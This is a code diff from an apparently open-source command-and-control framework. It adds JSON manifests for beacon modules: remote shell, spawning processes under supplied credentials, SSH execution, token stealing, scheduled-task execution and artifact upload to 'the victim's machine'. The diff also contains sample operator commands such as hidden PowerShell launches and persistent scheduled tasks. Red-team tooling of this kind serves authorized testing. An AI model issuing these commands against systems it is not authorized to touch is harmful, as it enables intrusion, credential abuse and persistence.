"artifact_filters": [
{
"category": "script",
"scope": "server",
"target": "beacon",
"platform": "session.platform",
"runtime": "cmd"
},
{
"category": "script",
"scope": "server",
"target": "beacon",
"platform": "session.platform",
"runtime": "shell"
},
{
"category": "upload",
"scope": "operator",
"target": "beacon",
"platform": "session.platform",
"arch": "session.arch",
"runtime": "cmd"
},
{
"category": "upload",
"scope": "operator",
"target": "beacon",
"platform": "session.platform",
"arch": "session.arch",
"runtime": "shell"
}
]
}
],
"examples": [
"script cleanup.sh",
"script collect.cmd"
],
"source": "manifest"
}
+26
View File
@@ -0,0 +1,26 @@
{
"name": "shell",
"display_name": "shell",
"kind": "module",
"description": "Start or interact with a persistent shell on the beacon.",
"command_template": "shell {command:raw?}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [
{
"name": "command",
"type": "text",
"required": false,
"description": "Optional shell command. Empty command starts the shell; exit stops it.",
"variadic": true
}
],
"examples": [
"shell",
"shell whoami",
"shell exit"
],
"source": "manifest"
}
+86
View File
@@ -0,0 +1,86 @@
{
"name": "spawnAs",
"display_name": "spawnAs",
"kind": "module",
"description": "Spawn a command under explicit Windows credentials.",
"command_template": "spawnAs [-d {d:q}] [-l {l}] [-p {p:flag}] [--with-profile {with_profile:flag}] [--no-profile {no_profile:flag}] [-w {w:flag}] [--show-window {show_window:flag}] [--netonly {netonly:flag}] {username:q} {password:q} -- {command:raw}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows"],
"archs": ["x86", "x64", "arm64"],
"args": [
{
"name": "-d",
"type": "flag",
"required": false,
"description": "Domain override."
},
{
"name": "-l",
"type": "flag",
"required": false,
"description": "Windows logon type.",
"values": ["2", "9"]
},
{
"name": "-p",
"type": "flag",
"required": false,
"description": "Load the user profile before launching the process."
},
{
"name": "--with-profile",
"type": "flag",
"required": false,
"description": "Load the user profile before launching the process."
},
{
"name": "--no-profile",
"type": "flag",
"required": false,
"description": "Do not load the user profile."
},
{
"name": "-w",
"type": "flag",
"required": false,
"description": "Show the process window."
},
{
"name": "--show-window",
"type": "flag",
"required": false,
"description": "Show the process window."
},
{
"name": "--netonly",
"type": "flag",
"required": false,
"description": "Use LOGON32_LOGON_NEW_CREDENTIALS."
},
{
"name": "username",
"type": "text",
"required": true,
"description": "Username in Username, DOMAIN\\Username, or user@domain form."
},
{
"name": "password",
"type": "text",
"required": true,
"description": "Password for the supplied user."
},
{
"name": "command",
"type": "text",
"required": true,
"description": "Program and arguments to launch after --.",
"variadic": true
}
],
"examples": [
"spawnAs contoso\\alice P@ssw0rd -- powershell.exe -nop -w hidden",
"spawnAs -d . -l 9 bob Password123 -- cmd.exe /c whoami"
],
"source": "manifest"
}
+85
View File
@@ -0,0 +1,85 @@
{
"name": "sshExec",
"display_name": "sshExec",
"kind": "module",
"description": "Execute a command on a remote SSH server using username/password authentication.",
"command_template": "sshExec -h {h:q} [-P {P}] -u {u:q} -p {p:q} -- {command:raw}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [
{
"name": "-h",
"type": "flag",
"required": true,
"description": "SSH host name or IP."
},
{
"name": "--host",
"type": "flag",
"required": false,
"description": "SSH host name or IP."
},
{
"name": "-P",
"type": "flag",
"required": false,
"description": "SSH port. Defaults to 22."
},
{
"name": "--port",
"type": "flag",
"required": false,
"description": "SSH port. Defaults to 22."
},
{
"name": "-u",
"type": "flag",
"required": true,
"description": "SSH username."
},
{
"name": "--user",
"type": "flag",
"required": false,
"description": "SSH username."
},
{
"name": "-p",
"type": "flag",
"required": true,
"description": "SSH password."
},
{
"name": "--password",
"type": "flag",
"required": false,
"description": "SSH password."
},
{
"name": "-c",
"type": "flag",
"required": false,
"description": "Remote command."
},
{
"name": "--command",
"type": "flag",
"required": false,
"description": "Remote command."
},
{
"name": "command",
"type": "text",
"required": true,
"description": "Remote command tail passed after --.",
"variadic": true
}
],
"examples": [
"sshExec -h 10.0.0.5 -u admin -p Passw0rd! -c \"ipconfig /all\"",
"sshExec -h server -P 22 -u admin -p Passw0rd! -- /bin/echo hello"
],
"source": "manifest"
}
+23
View File
@@ -0,0 +1,23 @@
{
"name": "stealToken",
"display_name": "stealToken",
"kind": "module",
"description": "Steal and impersonate a token from a process id.",
"command_template": "stealToken {pid}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows"],
"archs": ["x86", "x64", "arm64"],
"args": [
{
"name": "pid",
"type": "number",
"required": true,
"description": "Process id whose token should be impersonated."
}
],
"examples": [
"stealToken 4242"
],
"source": "manifest"
}
+66
View File
@@ -0,0 +1,66 @@
{
"name": "taskScheduler",
"display_name": "taskScheduler",
"kind": "module",
"description": "Create and optionally run a scheduled task on a local or remote Windows host.",
"command_template": "taskScheduler -c {c:q} [-s {s:q}] [-t {t:q}] [-a {a:q}] [-u {u:q}] [-p {p:q}] [--no-run {no_run:flag}] [--nocleanup {nocleanup:flag}]",
"target": "beacon",
"requires_session": true,
"platforms": ["windows"],
"archs": ["x86", "x64", "arm64"],
"args": [
{
"name": "-c",
"type": "flag",
"required": true,
"description": "Executable or command to run in the scheduled task."
},
{
"name": "-s",
"type": "flag",
"required": false,
"description": "Target host. Omit for localhost."
},
{
"name": "-t",
"type": "flag",
"required": false,
"description": "Scheduled task name. A random name is used if omitted."
},
{
"name": "-a",
"type": "flag",
"required": false,
"description": "Command line arguments."
},
{
"name": "-u",
"type": "flag",
"required": false,
"description": "DOMAIN\\user for task registration."
},
{
"name": "-p",
"type": "flag",
"required": false,
"description": "Password for the provided user."
},
{
"name": "--no-run",
"type": "flag",
"required": false,
"description": "Register the task without running it."
},
{
"name": "--nocleanup",
"type": "flag",
"required": false,
"description": "Keep the task after it starts."
}
],
"examples": [
"taskScheduler -c C:\\Windows\\System32\\cmd.exe -a \"/c whoami\"",
"taskScheduler -s HOST -t UpdateTask -c C:\\Windows\\System32\\cmd.exe -a \"/c whoami\" --nocleanup"
],
"source": "manifest"
}
+26
View File
@@ -0,0 +1,26 @@
{
"name": "tree",
"display_name": "tree",
"kind": "module",
"description": "Recursively list a remote directory structure.",
"command_template": "tree {path:q?}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [
{
"name": "path",
"type": "path",
"required": false,
"description": "Remote directory path. Defaults to the beacon current working directory.",
"variadic": true
}
],
"examples": [
"tree",
"tree /tmp",
"tree C:\\Users\\Public"
],
"source": "manifest"
}
+4 -4
View File
@@ -48,11 +48,11 @@ std::string Upload::getInfo()
#ifdef BUILD_TEAMSERVER
info += "Upload Module:\n";
info += "Transfer a file from the attacker's machine to the victim's machine.\n";
info += "The file is read from the local system and written to the specified path on the remote target.\n";
info += "The TeamServer resolves an operator upload artifact and sends its content to the remote target.\n";
info += "\nUsage example:\n";
info += " - upload /tmp/toto.exe C:\\Temp\\toto.exe\n";
info += " - upload toto.exe C:\\Temp\\toto.exe\n";
info += "\nArguments:\n";
info += " <sourcePath> Path to the file on the attacker's machine\n";
info += " <artifact> Uploaded artifact name or id on the TeamServer\n";
info += " <destPath> Destination path on the victim's machine\n";
#endif
return info;
@@ -131,4 +131,4 @@ int Upload::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg)
}
#endif
return 0;
}
}
+37
View File
@@ -0,0 +1,37 @@
{
"name": "upload",
"display_name": "upload",
"kind": "module",
"description": "Upload an operator-managed artifact from the TeamServer to the beacon.",
"command_template": "upload {upload_artifact:q} {remote_path:q}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [
{
"name": "upload_artifact",
"type": "artifact",
"required": true,
"description": "Artifact from UploadedArtifacts compatible with the current session.",
"artifact_filter": {
"category": "upload",
"scope": "operator",
"target": "beacon",
"platform": "session.platform",
"arch": "session.arch"
}
},
{
"name": "remote_path",
"type": "path",
"required": true,
"description": "Destination path on the beacon."
}
],
"examples": [
"upload tool.exe C:\\Temp\\tool.exe",
"upload tool /tmp/tool"
],
"source": "manifest"
}

Some files were not shown because too many files have changed in this diff Show More